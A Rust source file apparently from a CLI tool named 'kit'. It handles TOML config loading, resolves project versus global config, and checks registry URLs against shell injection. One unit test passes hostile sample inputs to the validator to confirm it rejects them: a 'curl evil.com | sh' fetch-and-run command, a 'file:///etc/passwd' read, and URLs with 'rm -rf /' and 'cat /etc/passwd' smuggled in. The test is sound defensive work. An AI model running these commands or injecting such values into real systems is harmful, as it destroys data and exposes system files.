use anyhow::{Context, Result};
use serde::{Deserialize, Serialize};
use std::collections::HashMap;
use std::path::{Path, PathBuf};
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct Config {
#[serde(default)]
pub settings: Settings,
#[serde(default)]
pub registry: Vec<Registry>,
#[serde(default)]
pub pins: HashMap<String, Pin>,
}
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct Settings {
#[serde(default = "default_mise_config")]
pub mise_config: String,
#[serde(default)]
pub platform: Option<String>,
#[serde(default = "default_cache_dir")]
pub cache_dir: String,
#[serde(default)]
pub trusted_config_paths: Vec<String>,
}
impl Default for Settings {
fn default() -> Self {
Self {
mise_config: default_mise_config(),
platform: None,
cache_dir: default_cache_dir(),
trusted_config_paths: vec![],
}
}
}
fn default_mise_config() -> String {
"~/.config/mise/config.toml".to_string()
}
fn default_cache_dir() -> String {
"~/.cache/kit".to_string()
}
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct Registry {
pub name: String,
pub url: String,
#[serde(default = "default_branch")]
pub branch: String,
#[serde(default)]
pub readonly: bool,
}
fn default_branch() -> String {
"main".to_string()
}
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct Pin {
#[serde(default)]
pub version: Option<String>,
#[serde(default)]
pub registry: Option<String>,
}
impl Config {
pub fn load() -> Result<Self> {
let path = Self::path()?;
if !path.exists() {
anyhow::bail!(
"no config found at {}\nRun `kit setup` or `kit init` to create one.",
path.display()
);
}
Self::load_from(&path)
}
pub fn path() -> Result<PathBuf> {
let home = dirs::home_dir().context("could not determine home directory")?;
Ok(home.join(".config").join("kit").join("config.toml"))
}
pub fn config_dir() -> Result<PathBuf> {
let home = dirs::home_dir().context("could not determine home directory")?;
Ok(home.join(".config").join("kit"))
}
pub fn cache_dir(&self) -> Result<PathBuf> {
let expanded = shellexpand::tilde(&self.settings.cache_dir);
Ok(PathBuf::from(expanded.as_ref()))
}
pub fn mise_config_path(&self) -> Result<PathBuf> {
let expanded = shellexpand::tilde(&self.settings.mise_config);
Ok(PathBuf::from(expanded.as_ref()))
}
pub fn registry_dir(&self) -> Result<PathBuf> {
Ok(self.cache_dir()?.join("registries"))
}
pub fn registry(&self, name: &str) -> Option<&Registry> {
self.registry.iter().find(|r| r.name == name)
}
pub fn save(&self) -> Result<()> {
let path = Self::path()?;
self.save_to(&path)
}
pub fn default_with_registry(name: &str, url: &str) -> Self {
Self {
settings: Settings::default(),
registry: vec![Registry {
name: name.to_string(),
url: url.to_string(),
branch: "main".to_string(),
readonly: false,
}],
pins: HashMap::new(),
}
}
fn validate(&self) -> Result<()> {
for reg in &self.registry {
validate_registry_url(®.url)
.with_context(|| format!("invalid URL for registry '{}'", reg.name))?;
crate::tool::validate_branch(®.branch)
.with_context(|| format!("invalid branch for registry '{}'", reg.name))?;
}
Ok(())
}
}
fn validate_registry_url(url: &str) -> Result<()> {
let url_lower = url.to_lowercase();
if url.contains('\n') || url.contains('\r') {
anyhow::bail!("URL contains newline characters: {url}");
}
if url_lower.starts_with("https://") {
if url.contains(';') || url.contains('|') || url.contains('`') || url.contains('$') {
anyhow::bail!("URL contains shell metacharacters: {url}");
}
return Ok(());
}
if url.starts_with("git@") {
if url.contains(';') || url.contains('|') || url.contains('`') || url.contains('$') {
anyhow::bail!("URL contains shell metacharacters: {url}");
}
return Ok(());
}
if url_lower.starts_with("ssh://") {
if url.contains(';') || url.contains('|') || url.contains('`') || url.contains('$') {
anyhow::bail!("URL contains shell metacharacters: {url}");
}
return Ok(());
}
anyhow::bail!(
"unsupported URL scheme: {url}\n\
Only https://, ssh://, and git@ URLs are allowed.\n\
Rejected schemes: ext::, file://, git:// (unencrypted)"
);
}
#[derive(Debug, Clone, PartialEq, Eq)]
pub enum ConfigMode {
Project { root: PathBuf },
Global,
}
#[derive(Debug, Clone)]
pub struct ConfigContext {
pub config: Config,
pub mode: ConfigMode,
}
impl ConfigContext {
pub fn resolve() -> Result<Self> {
Self::resolve_from(&std::env::current_dir().context("could not determine CWD")?)
}
pub fn resolve_from(start: &Path) -> Result<Self> {
let mut dir = start.to_path_buf();
loop {
let candidate = dir.join("kit.toml");
if candidate.is_file() {
let config = Config::load_from(&candidate)?;
return Ok(Self {
config,
mode: ConfigMode::Project { root: dir },
});
}
if !dir.pop() {
break;
}
}
let config = Config::load()?;
Ok(Self {
config,
mode: ConfigMode::Global,
})
}
pub fn config_path(&self) -> Result<PathBuf> {
match &self.mode {
ConfigMode::Project { root } => Ok(root.join("kit.toml")),
ConfigMode::Global => Config::path(),
}
}
pub fn lockfile_path(&self) -> Result<PathBuf> {
match &self.mode {
ConfigMode::Project { root } => Ok(root.join(".kit.lock")),
ConfigMode::Global => {
let config_dir = Config::config_dir()?;
Ok(config_dir.join("kit.lock"))
}
}
}
pub fn mise_config_path(&self) -> Result<PathBuf> {
match &self.mode {
ConfigMode::Project { root } => Ok(root.join(".mise.toml")),
ConfigMode::Global => {
let home = dirs::home_dir().context("could not determine home directory")?;
Ok(home.join(".config").join("mise").join("conf.d").join("kit.toml"))
}
}
}
pub fn is_project(&self) -> bool {
matches!(self.mode, ConfigMode::Project { .. })
}
pub fn save_config(&self) -> Result<()> {
let path = self.config_path()?;
self.config.save_to(&path)
}
pub fn mode_label(&self) -> String {
match &self.mode {
ConfigMode::Project { root } => format!("project: {}", root.display()),
ConfigMode::Global => "global".to_string(),
}
}
}
impl Config {
pub fn load_from(path: &Path) -> Result<Self> {
let content = std::fs::read_to_string(path)
.with_context(|| format!("failed to read {}", path.display()))?;
let config: Config = toml::from_str(&content)
.with_context(|| format!("failed to parse {}", path.display()))?;
config.validate()?;
Ok(config)
}
pub fn save_to(&self, path: &Path) -> Result<()> {
if let Some(parent) = path.parent() {
std::fs::create_dir_all(parent)?;
}
let content =
toml::to_string_pretty(self).context("failed to serialize config")?;
std::fs::write(path, content)
.with_context(|| format!("failed to write {}", path.display()))?;
Ok(())
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn valid_urls() {
assert!(validate_registry_url("https://gitlab.com/nomograph/kit.git").is_ok());
assert!(validate_registry_url("git@gitlab.com:nomograph/kit.git").is_ok());
assert!(validate_registry_url("ssh://git@gitlab.com/nomograph/kit.git").is_ok());
}
#[test]
fn rejects_dangerous_urls() {
assert!(validate_registry_url("ext::sh -c 'curl evil.com | sh'").is_err());
assert!(validate_registry_url("file:///etc/passwd").is_err());
assert!(validate_registry_url("git://insecure.com/repo.git").is_err());
assert!(validate_registry_url("https://evil.com/repo;rm -rf /").is_err());
assert!(validate_registry_url("https://evil.com/repo|cat /etc/passwd").is_err());
}
#[test]
fn default_config() {
let config = Config::default_with_registry("test", "https://gitlab.com/example/tools.git");
assert_eq!(config.registry.len(), 1);
assert_eq!(config.registry[0].name, "test");
assert!(!config.registry[0].readonly);
}
fn write_kit_toml(dir: &std::path::Path) {
let content = r#"
[[registry]]
name = "test"
url = "https://gitlab.com/example/tools.git"
branch = "main"
"#;
std::fs::write(dir.join("kit.toml"), content).unwrap();
}
#[test]
fn resolve_finds_kit_toml_in_cwd() {
let tmp = tempfile::tempdir().unwrap();
write_kit_toml(tmp.path());
let ctx = ConfigContext::resolve_from(tmp.path()).unwrap();
assert!(ctx.is_project());
assert_eq!(ctx.mode, ConfigMode::Project { root: tmp.path().to_path_buf() });
assert_eq!(ctx.config.registry.len(), 1);
assert_eq!(ctx.config.registry[0].name, "test");
}
#[test]
fn resolve_walks_up_to_parent() {
let tmp = tempfile::tempdir().unwrap();
write_kit_toml(tmp.path());
let child = tmp.path().join("src").join("lib");
std::fs::create_dir_all(&child).unwrap();
let ctx = ConfigContext::resolve_from(&child).unwrap();
assert!(ctx.is_project());
assert_eq!(ctx.mode, ConfigMode::Project { root: tmp.path().to_path_buf() });
}
#[test]
fn resolve_derived_paths_project_mode() {
let tmp = tempfile::tempdir().unwrap();
write_kit_toml(tmp.path());
let ctx = ConfigContext::resolve_from(tmp.path()).unwrap();
assert_eq!(ctx.config_path().unwrap(), tmp.path().join("kit.toml"));
assert_eq!(ctx.lockfile_path().unwrap(), tmp.path().join(".kit.lock"));
assert_eq!(ctx.mise_config_path().unwrap(), tmp.path().join(".mise.toml"));
}
#[test]
fn resolve_derived_paths_global_mode() {
let tmp = tempfile::tempdir().unwrap();
let result = ConfigContext::resolve_from(tmp.path());
if let Ok(ctx) = result {
assert!(!ctx.is_project());
}
let ctx = ConfigContext {
config: Config::default_with_registry("test", "https://example.com/r.git"),
mode: ConfigMode::Global,
};
let lock_path = ctx.lockfile_path().unwrap();
assert!(lock_path.ends_with("kit/kit.lock"), "got: {}", lock_path.display());
let mise_path = ctx.mise_config_path().unwrap();
assert!(mise_path.ends_with("mise/conf.d/kit.toml"), "got: {}", mise_path.display());
}
#[test]
fn config_load_from_and_save_to() {
let tmp = tempfile::tempdir().unwrap();
let path = tmp.path().join("kit.toml");
let config = Config::default_with_registry("round-trip", "https://gitlab.com/example/tools.git");
config.save_to(&path).unwrap();
let loaded = Config::load_from(&path).unwrap();
assert_eq!(loaded.registry.len(), 1);
assert_eq!(loaded.registry[0].name, "round-trip");
}
#[test]
fn mode_label_formatting() {
let project_ctx = ConfigContext {
config: Config::default_with_registry("t", "https://example.com/r.git"),
mode: ConfigMode::Project { root: PathBuf::from("/home/user/myproject") },
};
assert_eq!(project_ctx.mode_label(), "project: /home/user/myproject");
let global_ctx = ConfigContext {
config: Config::default_with_registry("t", "https://example.com/r.git"),
mode: ConfigMode::Global,
};
assert_eq!(global_ctx.mode_label(), "global");
}
}